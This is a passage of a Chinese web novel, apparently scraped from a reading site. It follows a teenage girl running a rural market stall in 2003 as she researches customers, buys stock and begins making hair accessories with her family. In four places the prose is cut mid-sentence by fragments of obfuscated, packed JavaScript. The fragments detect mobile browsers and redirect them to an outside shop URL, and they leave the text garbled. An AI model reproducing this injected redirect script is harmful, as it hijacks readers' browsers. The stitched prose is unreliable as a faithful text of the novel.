徐春天盯着那人，然后看向李艳，“婶，没事。他想买的东西，我这没合适的。话赶话了……” 李艳赶忙打圆场，“哎呀，小伙子，小徐年纪小，说话直了点。不过她来她这买东西的都是些学生。可能真没合适的。” 看她出面了，其他摊主大都认识她，当然也有人认识那小伙子。可奇怪的是大家也就简单说了几句，不痛不痒的。 小伙子僵在那里，只低着头努力捡掉地上的铁盒子，这时一只修长的手抓住铁盒子，将它捡起来递给小伙子。然后走到摊位前，抓起方才那顶白色帽子和藏蓝色围巾，还顺带拿了一副蓝色手套。 “三件二十，对吧，给个袋子装起来。” 他把一张二十的钱放摊位上，不过抬头就看到摊位前贴着的那张二十□□，“哈” 轻笑一声，又抽回二十，换成两张十块的。徐春天看到他黑色钱包里，厚厚的一沓钱。 还是个有钱人家的少爷。 少爷穿着一中校服，把帽子围脖手套塞袋子里，直接塞给坐轮椅的那个人。 “不是你的问题，是有的人素质低。” 说完他拎着箱子大步离开。 看着少爷离开的背影，徐春天觉得莫名其妙，“靠！这人有病吧，以为自己是救世主呢，有钱了不起了啊！啊！” 李艳接了话，“了不起不好说，有钱是真的。你看钱包里那么多张。” 坐轮椅的人也不知何时走了，“他咋你了？” 徐春天这才将昨天他放狗咬自己，刚才用不舒服的眼神打量自己的事说了，李艳点点头，“这小子是高家的吧，我看他就不老实。” 她轻轻碰了下徐春天的肩膀，“俩村靠这么近，你看刚才也没人帮他。” 是呢！ 李艳这话直接说中了徐春天觉得奇怪的地方。按理说两方发生冲突了，大家也该劝劝，更何况对方还是个弱势群体。 “婶，我刚才根本没说啥话，他就突然委屈起来了。” 徐春天还是觉得心里膈应，总觉得自己仿佛欺负了人。 李艳安慰她，“没事，你看他这样多少心里有点毛病？” 徐春天了不认同。 她有个同学，小时候发高烧，导致一条腿神经坏了，落下残疾。可这位女同学聪明，坚强，特别乐观。和刚才那人，完全不一样。 还有那个突然冒出来，自以为主持正义的少爷，徐春天抬头张望了下，竟然在集头上看到他。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889552|192180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 两人出其不意的对上眼神，徐春天狠狠瞪了对方一眼。 “多管闲事！” 今日之事，对徐春天而言不过是小事，过了就忘了。可她不知道，有人即便是离开大集，心里还气哼哼的。 李亦航其实不是第一次见徐春天！说起来他第一次见到徐春天，还是在一中。那是徐春天站在学校大门外的树下，就像是一道风景。站在他们班级前的走廊上，正好能看到。 他是转学到县城一中，恰好这个班里有个女生不念了，就把他安排进去，他用的就是女生用过的桌椅。 听同学们说女生来学校了，他就出来看了眼。同学们都传女生结婚去了，他内心有点鄙夷。长的挺漂亮，怎么就恋爱脑呢，考上一中不珍惜，去选择嫁人，太短视了。 只是没想到，这才过了没多久，他又再一次见到徐春天。他来大寺村替姥爷送东西，没成想看到徐春天。不得不承认，她长得的确好看。在人群里很扎眼，普通灰蒙蒙的世界里出现的一抹亮色。她守着摊子，和旁边的人聊天。俩人很熟，但长得不像，他心里猜测大概是徐春天的婆婆（李艳：还婆婆？我有这么老吗？）。 俩人说话的架势，眼神，完全就和小区的大娘大妈们，东家长西家短的。他心里只觉得，唉，白瞎了一副好样貌。再看徐春天漂亮年轻的面孔，他只觉得庸俗。 只是没想到她庸俗自甘堕落也就罢了，各人有各自的人生。可她，怎么能欺负残疾人呢？ 他路过时都听到残疾小伙子说要帽子和围脖了，可才走出去没多远，就出事了。 李亦航摇了摇头，算了，不生气，反正以后也不会再见！ 相对于李亦航的内心纠结和气哼哼，徐春天压根没把这事放心上，甚至都没正眼看过李亦航。 因为她得知，寺庙里放的根本不是佛像，而是本地战争年代的的一些物品时，她内心大为震动。 寺庙，严格意义上已经不能称之为寺庙，可以称它为村民活动室。徐春天在散集前，还去看了下。三间房，最东间摆放了一些很有年代感的东西。玻璃柜里，有老旧的水壶，有大大小小的徽章，有些还带着伟人头像，煤油灯，老式的枪，望远镜等。 墙上写着一段介绍，大意就是战争年代，日军扫荡，本地也发生过战斗。这段历史，徐春天还真不知道。 她只听说过，大徐村村南有一株老槐树，树下埋过很多死人。村里也有老人年轻时去当兵，回来的瘸了腿。原来还有人记得，并将这段历史陈列。 徐春天心中只觉得敬畏。 中间屋子最大，是个图书室，摆了几张桌子，还有一个书架。西间最小，布置的却最温馨，桌椅水壶茶杯，甚至还有个简易的木头床。 “怎么样？里面整的不错吧。”听李艳这样问，徐春天点头。 明天的集太远，徐春天不是很想去。李艳却劝说她去，“那条街上有家店，卖衣服的，店主脾气不好，但架不住东西好，花样多，客人进去就没有空手出来的，你不是打算卖卖棉服吗？去看看呗。” 当徐春天第二天去看的时候，真的是大开眼界！卖衣服也能有花样，人家的脑子，是咋想出来的呢？ “” 9. 市场调查 化东镇大的很，徐春天长这么大，还是第一次来。 这里不像她前面去的村里大集，其他集上并没有专门卖帽子围脖的摊，都是和衣服一起买。 而化东镇上有好几家服装店，摆摊卖衣服帽子的就更多了。徐春天可不觉得，自己初来乍到，能卖出多少。 所以她没有带很多货，来化东集上，就是奔着李艳婶子说的服装店来的。 店铺不算很大，门前已经搭好架子，冬装棉服秋衣秋裤的都摆放整齐。 价格牌子挂在最显眼的地方，棉服从价格从29-49价格不等。徐春天摸了下衣服，质量真不错，很厚实，就是等交九了，下雪天穿都没问题。 旁边大喇叭喊着，“第二件，一块钱！” 此时摊位前已经有不少人，老板两口子招待顾客。人有点多，徐春天没挤进去，赶忙抓了个买完衣服的人。“大姐，第二件一块是啥意思？” 那人笑着展示了下手里的衣服，“你第一次来吧，这家店一直这样。你看我们都买俩件，买一件原价，你再加一块钱，就能带走两件。” 旁边一个人笑呵呵的说，“搭伙买也行。她家衣服便宜，耐穿！” 徐春天看着摊案上的棉服外套，虽然样子没多么好看，但对于这个价格，那是真合适。她想着给家里爷爷奶奶还有爸爸和她娘各买一件。 衣服样式大差不差，做工也板正，男款女裤价格一样。她挑来挑去，老板娘得空了，看到徐春天，“姑娘，你要是想要好看的，去店里。俺家店就在后面呢。” 集上摆出来的，都是适合村里人穿的，价格便宜质量好就行，也不用多么花里胡哨。 听老板娘的语气，就是年轻人的货，她这里也有。 徐春天决定进店瞧瞧去。当她进了店，更加明白为啥这家店火了。虽然也是棉服，但店里的衣服明显款式新颖，更加上档次，价格比外面的要贵。试衣镜就摆在那，还有专门的试衣间。每排衣服上也标了价格。不同于外面摊位上的第二件一元的卖法，店里的衣服是第二件半价。价格二十，送棉袜，满三十，送手套，满四十，送围脖，满五十送针织帽子。总之，卖的越多送的越多。 她转了一圈，没舍得买店里的衣服，只买了四件棉服。徐春天决定自己大概挺适合摆摊的，她快速想明白那家店生意好的原因。 首先是有噱头，先把人吸引来。不管是第二件一元，还是第二件半价，总之先把顾客吸引来，人来了，才有可能买东西。再就是货物质量好，价格心里便宜。 这家店的衣服虽然不算贵，但绝对不是最便宜，走低价位的。相反，店里面有些衣服价格还挺高的。可是，他家的衣服质量都不错。 衣服绝对值那个价，就连徐春天都觉得，买的很值。再加上店主的承诺，衣服不合适，下集还能退，买贵了也能退等等。 这家店，生意好是必然！ 虽然这家店可以这么干，其他点为啥不效仿呢？ “学她家？人家可以是独家货源。这样卖也不亏本。她不亏本，可不代表你这样做，也不亏！” 李艳赶忙打消徐春天这个念头，“你还小，你看看我家这生意，也是这几年，货源稳定，也有了许多老顾客了，人们都认咱家，生意才稳定。” “还是踏踏实实做生意，别花里胡哨的。”李艳说话直接，话不那么中听，但话糙理不糙。 徐春天当然明白她的好意。“婶子，我知道。” 她原本想卖完帽子围脖棉服的，可今天化东集上的所见所闻，让她改了主意。她没有一手货源，拿不到最低价。刘姐就属于批发商，最多算是二道贩子，她则是更下一级，且卖货量小，价格上很被动。而且棉服再怎么便宜，也比帽子围脖等贵，她压不起货！ 那卖什么呢？ 徐春天回去后就在苦恼，饭也吃不下去，整个人都有点魂不守舍。晚饭做的早，孙兰清烙的菠菜鸡蛋粉条盒子。 徐爷爷在菜园里做了几个小拱棚，用竹子搭起架子，在盖上塑料薄膜。太阳一照，里面温度挺高，种点绿叶菜老合适了。 孙兰清烙了盒子，让徐春天给隔壁老人家送过去，同时让她把买回来的棉服也带过去。衣服合不合适，总得上身试一试。 孙兰清过去后，爷爷奶奶都说她净浪费，家里衣服有老多，还花钱买。老人家嘴上这样说，不过脸上笑得开心。把衣服拿到手里摸了摸，“春天啊，衣服挺厚实，得老贵了吧。” “不贵，我今天去化东集了，棉服第二件一块钱。这俩我就花了三十块，合着才十五一件。” 听徐春天这么说，俩老人也觉得不贵了，都美滋滋的试了试，衣服挺肥，冷了里面还能加衣服。 徐奶奶把衣服放起来，忙活着去擦粘粥。徐爷爷则是拿出一本书，拉住徐春天，翻出一页，找到一个字问她怎么读，啥意思。 徐爷爷念过书，但识字不多。从徐春天的印象里，爷爷很喜欢看书，炕上柜子底下放了好多书，有些还用老年奶粉袋子，大洗衣粉袋子装起来。 徐春天翻了下这本书，竟然是本《毛选》。“这书你看过吗？”徐春天摇摇头。 “那就看看，俺觉得写的挺好。”徐春天每天学习，其实还挺枯燥的，所以她就拿了本。徐爷爷手里有一整套，徐春天只借了第一卷。 她本以为，这类书大概和政治课本差不多，自己不一定能看进去，或者能看懂。所以晚上在完成当天的学习计划后，她躺被窝里睡不着，想着看一会儿。毕竟初中上政治课，她听着就犯困。 然而，徐春天决定自己错了，大错特错！ 看第一篇时，让她觉得内容那么充实，一点也不枯燥，甚至很好理解。曾经课本上写的这阶级那那阶级，想起来她都觉得云里雾里，一些知识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889553|192180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点全靠死记硬背了。原来不是她的问题，是书的问题。 当她认真阅读了那篇，第一句就是没有调查就发言权，读完全文，她放下就知道自己该做什么了。 市场调查，即便是在农村大集，也很有必要。 第二天是场外街集，新一轮赶集卖货开始。徐春天已经确定，她的主战场其实是前四个集，距离不远，赶集的都是附近十里八村的。不管是卖东西的，还是买东西的，都面熟。要是聊起来，说不定还能扯上亲戚。 五天为一轮，四天赶集，最后一天用来进货，复盘，学习。 徐春天到集上，今天并不是周末，集上人不少，但徐春天的生意差点意思。好在她的针织帽里，有一批帽围偏小，适合学龄前小孩的帽子。小孩帽子定价更便宜，帽子又好看，没想到卖的不错。 许多人带着孩子来赶集，最多给孩子花一两块钱买点包子，糖葫芦或者甘蔗，冬日农村大集上，糖葫芦是小孩的最爱。甘蔗呢，往往只有这时候才卖。大人买上一根，让卖甘蔗的给砍成几节，回去大家就啃着吃。用牙把甘蔗皮咬着扒开，然后嘎吱一口，清甜微凉的汁水就在嘴里蔓延。 只是看到别人家小孩头上戴着崭新的帽子，火红的颜色，还带着两个鹅黄色小鹿角，显得鼻涕娃都格外板正。再看看自家的娃，抱着糖葫芦舔的起劲，小脸冻的通红，一顶旧帽子戴在头上。 心里嘴里的话就下意识冒出来，“这帽子哪里买的？” 话说出来就有点后悔，赶紧加上句，“看起来挺好看，不便宜吧。” 对方笑呵呵的，见怪不怪的，热情回应，“还真不贵，五块钱，就在十字街那个卖饼干的旁边。” 五块钱？这人看了看车把上兜里的包子，孩子手里的糖葫芦，还有车筐里的甘蔗，得，不差这五块！ 徐春天可不知道，她今日许多顾客，来竟然是这样来的。送走一波客人后，也临近中午，她让李艳婶帮忙看着摊，自己去集上开始调查。 场外街集有好多年了，沿街还是住户多，仅有的家店面，一个是理发店，一个是村里的小卖铺，还有一个是修牙的诊室，是牙医亲戚家的房子，只有集上才开门。 卖成衣鞋子的摊位，也都是干了许多年了，来来回回的也陆续有新摊位加入，不过就跟大浪淘沙似的，最终存活并且生意还不错的，就六七家，虽然有些交叉，但各家也都有了主营货物，比如主卖秋衣秋裤等穿里面的衣服，也有主卖外穿的袄，裤子棉服等穿外面的衣服。主卖中老年服饰的，也有主卖孩子穿的衣服。 留给徐春天的选择不多了，她只能从大分类中在精准细分。徐春天决定还是从自己熟悉的人群入手，利用她也是学生，家里还有小学生和初中生，更为了解学生的需求和喜好。 等徐春天转了一圈回到摊位，就看到一张有点熟悉的脸。 “哎，是你！” 11. 欺骗套路 郭姥娘带着徐春天向屋里走。路过小傻狗，徐春天忍不住骂了句，“你这个笨狗子，咋不知道追呢，那可是坏人！” “哎，都怪我！你走了以后，我就睡了会儿，睡醒了去屋后转了转。等我回屋，正打算给你装点地瓜呢，就听有人来了。那个小伙子穿着挺板正的，拎着个包（常见的公文包），我还以为是当官的呢（乡里的干部，有时候会进村走访），他说是查电表的，我就让他进屋了。” 郭姥娘说到这感觉有点后怕，指了指炕边。　“我想着给他倒点水，转身的空，他就掀开炕被，这不是贼嘛！我就嚷了起来，他就跑！我看着他手里的包，和你小舅的一样，肯定偷了你舅的包。我就抓住包，唉。” 郭姥娘唉声叹气，儿子包让人偷走了。徐春天听的是心惊肉跳，听到最后又觉得有点好笑！ 徐春天想了想，那人估计就是个贼，看着家里只有一个老人进出，所以就进了门。 熟悉村里老人的习惯，钱啊重要的东西啊，习惯塞炕被底下，所以进屋就掀开炕被，沿着炕边找。只是他没想到八十岁的农村老太太这么猛，自己啥也没找到，倒让老太太夺了包。 “姥娘，你真厉害啊。” “你舅的包都让人偷去了。哎，你快给你舅打电话。” 姥娘家里有座机，徐春天看了下时间，“行，我看小舅马上下班了，不知道能不能回来！” 徐春天的小舅名叫孙西林，是化东镇中学的老师，教初中。 她打的座机，接通后小舅说会回来，让她陪着姥娘。 孙西林还没到，孙兰清就先来了。她给郭姥娘做了饭，饭还没熟，孙西林就回家了。 好一通安慰，郭姥娘才相信，儿子的包没有被偷。大家一起吃饭，忍不住感慨现在有些人太猖獗了。孙兰清说，这些人专门跑村里欺骗老人。 前一阵就有人跑大徐村，提了一捆子钢筋，去了一个硬周的奶奶家。说是暂时放老人家里，他等会回来取。不让老人白看，他给二十块钱。 周奶奶就同意了，反正就放一会，哪怕这人不回来，自家也赚了钢筋。结果呢，人家还真回来了，给了老人一张一百块整钱，说自己没零钱。周奶奶就找了八十给对方。 等孩子回来，才发现那一百块是□□，周奶奶可气坏了！ “这些人太坏了！”徐春天听到欺骗老人就气愤，结果还用□□。 “丧尽天良，一点良心都没有，他们家里没有父母老人嘛，石头缝里蹦出来的嘛！” 第二天，徐春天从各个村大喇叭听到了吆喝，说是别让陌生人进家门，不要相信用整钱换零钱等等。 信息传的还挺快！ 大集上，徐春天继续卖帽子围脖。其实现在，她感觉到销量下降了不少，已经逐渐趋于稳定。 但这可不是她想要的。所以，重新选品，更换产品，她势必要加速了。她买回来的皮筋，发圈和发卡，买回来就收到了徐春雨的评价。 “姐，这些皮筋发卡的，和学校小卖铺里一样，咱村小卖铺里也有。” “不新鲜！” 徐春天带了一篮子头饰摆在摊位旁，果然没多人询问。她这次想起问题在哪。前世她打工时一直是短发，重生回来虽然留着长发，可家里有发圈，她一直用，还从来没买过。 唉！看着无人问津的新品，她心里懊恼，怎么会犯这么简单的错误呢！ “咋这么无精打采的，小徐？尝尝好吃不？”李艳凑过来，递给她一块枣糕。香甜的枣味，柔软的口感，吃一口下去微微甜。 “好吃哎，一股香甜枣味。” “小徐，你快去进货了吧？帮婶忙买些棉袜呗。你不知道，你叔还有我家那俩孩子，穿袜子特别费，又爱冻脚。这集上的棉袜子不够好。你给我带点那种羊毛的，多带几双。婶不让你吃亏。” “没问题！” 到了周日，徐春天直接带着徐春河和徐春雨去了县城。都说两个臭皮匠，顶个诸葛亮，徐春天觉得，她也需要帮手，听听目标群体的声音。 徐春河有点内秀，在姐姐决定休学后，他一心扑在学习上。对于姐姐前几天带回来的学习用品，他个人觉得草稿纸不错，笔记本就有点花里胡哨，不够实用。而且他们现在多用中性笔，作业多笔芯用的快。他觉得姐姐可以进一批笔芯。虽然他本人更喜欢用钢笔！ 而徐春雨则不那么爱学习，别看她年纪不大，但喜欢看电视，还有个笔记本，专门抄歌词，买了贴画粘本子上。 她觉得姐姐都去县城进货，头绳就该比小卖部的好看，发夹最好也是小卖铺没有的。像《海豚湾恋人》女主角常戴的水晶发夹，或者《金粉世家》女主角冷清秋戴的珍珠发夹，即便是《分红女郎》里结婚狂的彩色发箍，她都觉得挺好看。 三个人去了市场，徐春雨先去找了刘姐。得知她想买些羊毛袜，刘姐直接给她指了指，让她自己去挑。“羊毛袜，长筒的我给你按2块5一双。我这袜子还真不多，你要是想卖袜子，最好直接找厂家进货。” 刘姐人大气，知道徐春天没有能力进棉服卖，走量小在市场上拿过价格上好讲价，干脆做个顺水人情。 对于集市上卖袜子的情况，徐春天也有调查。没有单独的摊位，都是顺带买。普通棉袜都是二块钱一双，五块钱三双。厚袜子就更贵一些，集上就很少了。 越是了解，徐春天就觉得，如果她能从厂里拿过，袜子绝对可以卖！ 徐春河从文具店里转了一圈，兴奋的和徐春天说：“姐，笔芯你就买真彩的还有晨光的。” 这俩牌子徐春天也都用过，可她怎么记得，以前有一款特别不禁用，好像就叫真彩，她记得大家取外号真菜！ “那是有的系列，这几款都还行，我同学们都买。” 确定了文具进货的名单，三个人又去看头饰。琳琅满目的饰品，让徐春雨看的兴奋，可转了一圈下来，她看上的价格高，便宜的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889555|192180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她觉得小卖铺都有。一时间，她没了主意。 草稿纸和笔芯等文具，即便是卖不掉也可以自己用。头饰却不同，姐姐若是卖不掉，那可是会亏本的，亏点的是姐姐的学费。 徐春雨感叹：“姐，没想到。卖东西挣钱这么麻烦。” “那是，大家都知道赶集挣钱，可有多少人，干起来了？” 别的不说，就说大徐村里的小卖铺，就开过三家，现在只有一家真开起来了，其他两家都关门了。 饰品这里暂时僵住，徐春天打算去刘姐推荐的袜子厂看看。 都说失之东隅收之桑榆，饰品没进展，袜厂进货却很顺利！本地袜厂规模不算大，起步也没几年，听说老板之前从南方进货卖袜子，后来自己生产自己卖！ 老板和刘姐差不多大，也是一位风风火火的女性。徐春天当然没见到老板，这些发家史都是听销售人员说的。 三人骑着两个脚蹬三轮，拉着满满的货，决定买点饭垫垫肚子，等回家再吃饭。 03年的县城里，已经有了快餐，店名叫做嘉佳基。听说里面有汉堡薯条炸鸡，特别好吃。徐春天路过，也听同学提过，但从来没吃过。 路过嘉佳基，徐春天带着徐春雨进了店。店里装修的好特别。墙上贴着卡通人物，一侧是正常的桌椅，长条桌椅，搭配沙发座椅。另一侧的座椅则像秋千架的长椅，塑料绿色叶子缠绕，抬头看房顶上也都是绿色的叶和花。 坐在长椅上就跟荡秋千一样，摇摇晃晃荡来当去，徐春雨当即就坐上去了。汉堡还是个稀罕物，价格不算便宜。徐春天只买了三个汉堡和一盒薯条。炸鸡太贵，即便是炸鸡块和鸡腿她没舍得买。她们就当吃个新鲜。 三个人没有在店里吃，而是骑车去了附近公园，虽然是冬天，但今天太阳很好，还没有风，晒着太阳吃，暖洋洋的。 大中午的，公园里人也不少。篮球场上有几个少年在打篮球。徐春河在学校踢足球，偶尔打篮球。只不过他和同学们都是野路子。 看到那几个人打的挺不错，徐春河直接跑篮球场里，边吃边看。直到徐春雨来叫他，徐春河才恋恋不舍的离开。 “姐，你看！”他冲着徐春天兴奋的展开手掌，一个小巧玲珑的机器人，出现在他的手心。机器人也就五六厘米高，仔细看，身体就是螺丝铁块铁丝等组成。 “还挺精致呢！” 徐春河得意，指了下篮球场座椅区，那里有个少年，还朝这边招手。“他送我的，说是他表哥自己设计，买零件，然后组装的。” “自己做的？手挺巧啊。”徐春天说完自己就愣了下。她以前也常被人说手巧，做点东西不是问题。 她伸手撸下扎马尾的发圈，仔细看了看，里面是皮筋外面是布，好像她也能做。再看看徐春雨头上的发夹，就是普通的铁夹子上包裹了一层布，然后沾了一排亮点。 “春雨，要是我买水晶发夹，珍珠发夹，你同学会买吗？” 12. 换品 思路打开，徐春天心里豁然开朗！她何必执着于进货呢！ 头饰这类东西，作用就是一个，装扮美。只要它够好看，够新款，紧跟流行，绝对是不愁卖。 客户群体更大，从小奶娃到老奶奶，但凡有头发的，就会有买发圈发夹的需求。特别是年轻群体，好看的发卡永远是下一个。 徐春天兴致高昂，又绕回批发市场，买了些皮筋，最基础款的发夹和塑料发箍，水晶钻，珠子之类的小东西都是按斤称，她把觉得好看的都买了些。 看到徐春天的架势，徐春雨有点兴奋，“姐，你打算自己做？那先给我做水晶发夹，我要俩！我还想要个毛茸茸头花，就古装剧里那个。” “没问题！” 回到家已经是下午了，孙兰清给他们热了饭菜，专门汆了肉丸。肉丸紧实，汤清鲜香，撒点香菜碎，更是美味无比。等三人吃完，孙兰清也将两车货搬进屋里。 “娘，你和我一起整理袜子吧。”徐春天安排下去，“让春河和春雨整理那些草稿纸和笔芯。” 袜子主要有三类，一类是羊毛袜，价格高，数量少。“这袜子摸着可真厚实，里面还毛绒绒的，穿上保管暖和。” 孙兰清不犹得提起以前的事。“那时候还组织村里人去挑河（就是趁着冬季没水，疏通河道，清淤泥），就住在河岸边上的窝棚里，人人都得冻疮，。有一年去干活的人，都有冻死的。唉，那时候要有这样厚实的袜子，多好啊。” 第二类是数量最多的纯棉袜，也是徐春天打算主要卖的袜子。袜子厚实，螺纹口，很有弹性，中长筒袜，秋冬穿最合适。棉袜吸汗透气，不臭脚。男女款都有，也有小孩的。从厂里拿货，一双价格是八毛，小孩的袜子带花纹，进价要贵一点。徐春天打算都卖二块一双，五块钱三双，随便挑。 第三类是最便宜的袜子，涤纶多棉少，一摸就能察觉出区别。这类袜子样子还行，就是不太厚实，没大有弹性，而且颜色单一，没有花纹。但是价格便宜。进价五毛，徐春天打算卖一块一双，两块钱三双。这类袜子数量也不多，就是作为一个对照。好东西有了对比，才会显出它的好。 东西虽多，好在干活的都是麻利人，孙兰清也听指挥，赶在吃晚饭前，终于收拾完了。 晚饭就简单擦了地瓜粘粥，做了个大葱炒鸡蛋。孙兰清以前做菜不好吃，就容易放很多盐，家里人太多，个个跟饿狼似的，菜咸了比较下饭。 自从徐大龙受伤后，徐春天休学摆摊，就禁止孙兰清多放盐。大家逐渐发现，其实孙兰清做饭还挺好吃的。“多放油，放肉，放花椒各种调料，能不好吃嘛？” 孙兰清嘴上这样说，脸上却笑得开心。前几天卖了棒子，还了徐小果家三千块钱，她心里彻底轻松了。虽然还欠着亲戚朋友的钱，但那些都可以慢慢还。 老大也不像刚开始休学那会，不爱搭理她。今天下午还让她帮忙整理袜子，这让她觉得，自己除了做饭，在其他事上也能帮上孩子。 哎！本来挣钱是大人的事。可她没本事，啥也不会，从来没有出门打工。赶集卖东西吧，她脸皮薄，也说不出口。再说家里也离不开人。 现在徐大龙也能下床了，只是走路多了还不行。孙兰清时间上也宽裕了，她想着自己没事多纳鞋底，给孩子们做些鞋垫。虽然现在都卖现成的鞋底，可那都是塑料的，臭脚丫。还是自己做的鞋养脚。 “爸，你会做架子吗？我想要个货架。” “啥样的？” 徐大龙放下碗，脸上透出隐约兴奋。这些日子一直养着，他觉得自己都快废了。看孩子忙来忙去，他也想做点事，帮点忙。 徐春天简单描述了下，她打算用来展示发圈和发卡，货架子分区，再有个能挂东西的地方就行。“最好是能加个轮子，我好推着，来回移动方便。” 徐春天考虑到发圈啥的很多都是布的，摸多了也容易脏，容易挂伤，最好是货物放货架里，只需要补货，不用每天来回弄出来。 徐大龙是个非常手巧的人，学什么都会。木匠活，瓦匠活，电工活都会干。他还会焊接，从木板上雕花。听到闺女的描述，他一口答应下来。“那个不难，就是轮子，我得找找。” 晚饭后，徐春天强忍着做手工的冲动，还是先去完成今日的学习计划。习惯就是一天天养成，学习是她给自己定的铁律，可以不摆摊，但必须学习。对她而言，摆摊只是暂时，是这一年的过渡，现在的一切努力都是为了明年可以更好的学习。 周一是化东镇集，徐春天已经决定不去这个集了。她今日的计划就是研究如何做发饰。 家里有个缝纫机，据说这个缝纫机特别有来历。徐春天的奶奶姓金，当年她结婚后，那个年代谁家有缝纫机可了不得，感情好的就借着用。 金奶奶她是外乡人，娘家里大徐村比较远，脸皮也薄，还特别要强。别人不借给她，她就牟足了劲想要自己买一个。徐爷爷和徐老爷爷拗不过她，后来托人从天津买回来一架缝纫机。 据徐大龙说，当时金奶奶高兴坏了，织布也带劲，然后给他们做衣服。可没过多久，她又生气了。亲戚朋友用上她家来用缝纫机，她又怕别人不爱惜给她弄坏了，就自己给别人干。 脸皮薄加上有点虚荣心作祟，也不好意思开口要钱，就这样自己出线出力累的半死，辛辛苦苦买的缝纫机，活都给别人干了。 徐春天听了这段往事就想笑。后来徐大龙结婚，这架缝纫机就当作三转一响里的一转，属于孙兰清了。孙兰清会做衣服，只是后来大家都买成衣，缝纫机也就盖起来不用。 “这个机子真挺好，一点都没坏。”孙兰清得知徐春天打算用缝纫机，连忙擦干净，打上机子油，试了试，“你看，跟我结婚时一样。” 金奶奶也过来，“跟我新买时也差不多。那时候的东西，质量就是好啊。” 金奶奶耳不聋，眼不花，头发乌黑浓密，甚至连一点白头发都没有。孙兰清都有白头发了，徐春河也有几根，都说他是少白头。反而是徐春天和徐春雨姐妹俩头发乌黑，发质浓密，大概是遗传了金奶奶。 徐春天拿出昨天买的织带和红丝绒绒布，根据她在草稿纸上画好的图，裁剪好布条，皮筋。但是在怎么缝起来时，她有点犯难。 看她在缝纫机前试来试去，又不时对照一个拆开的布艺发圈，孙兰清小心翼翼的说：“春天啊，要不我试一试？” “你不就是想做扎头发的这个圈嘛？我看着挺简单的。”她以前学过裁剪，也偷偷给自己做个头花，这个看起来的确简单。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889556|192180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“行啊！” 孙兰清坐在缝纫机前，把布条皮筋备好，就咔哒咔哒的踩起缝纫机，她一脸认真，来来回回，反过来缝，再返回来缝，仿佛心里有张立体图。徐春天觉得自己都看的有点眼花缭乱，担心她缝错了。 “看，是不是这样？” 红丝绒形成一道道褶皱，如同一朵盛放的艳丽花朵，开在了孙兰清的手掌心。 徐春天拿过来检查了下，试了试松紧度，又戴头上扎了个马尾。她头发多，马尾粗，两圈就可以。头发少的人，可以绑三圈。 “好看，娘，没想到你这手艺真不错。” 徐春天连声夸赞，就连金奶奶也觉得好看。 “这能卖钱？”孙兰清有点兴奋。 “当然能啦！批发的话，这种可是论个，不论斤。不过咱们自己做，成本低，这种基础款，我打算卖一块钱一个。如果上面添加上珠串吊坠或者蕾丝边蝴蝶结等装饰，可以卖到一块五一个。” “会不会有点贵啊？” 徐春天摇摇头，“我们先卖试一下。这些都是咱们设计，再加工的。我打算仿照电视剧里的款式，多做几种不同类型的。” 发夹做起来就简单了许多。徐春天买来了金属胶，只需要将织带粘到基础发夹上，在粘上水晶，亮钻，小珠子等。小珠子圆润质地不错，也就是徐春雨以为的珍珠。 发夹种类多了点，像水钻顶夹，各种糖果色超宽边发夹，草莓图案，星星图案等等。其中有四五款适合小孩子戴的发卡，都用织带将夹子包起来，确保夹子不会伤了头皮。然后粘上柔软的草莓，星星亦或者是小熊这种鲜亮颜色的卡通图案。夹子做好后，大家都觉得可爱极了。 徐春雨放学回来，看到后当即尖叫！“啊啊啊啊，太漂亮啦！” “这个珍珠一字夹，这个夹子竟然有毛球球。” 她迫不及待的夹头上，对着镜子照来照去。孙兰清笑话她：“这丫头，也太臭美了！” “娘，要是没有我这种爱臭美的，姐姐做的发夹卖给谁？”她越说越觉得有道理，“像我这样爱美的人，越多越好，我姐就能挣大钱！” 这话孙兰清爱听！ 徐春天站在一旁笑，“春雨，你抓紧挑几个，下午送给你的好朋友，帮姐宣传宣传！” 徐春雨调皮的下了眼，“放心吧姐！” 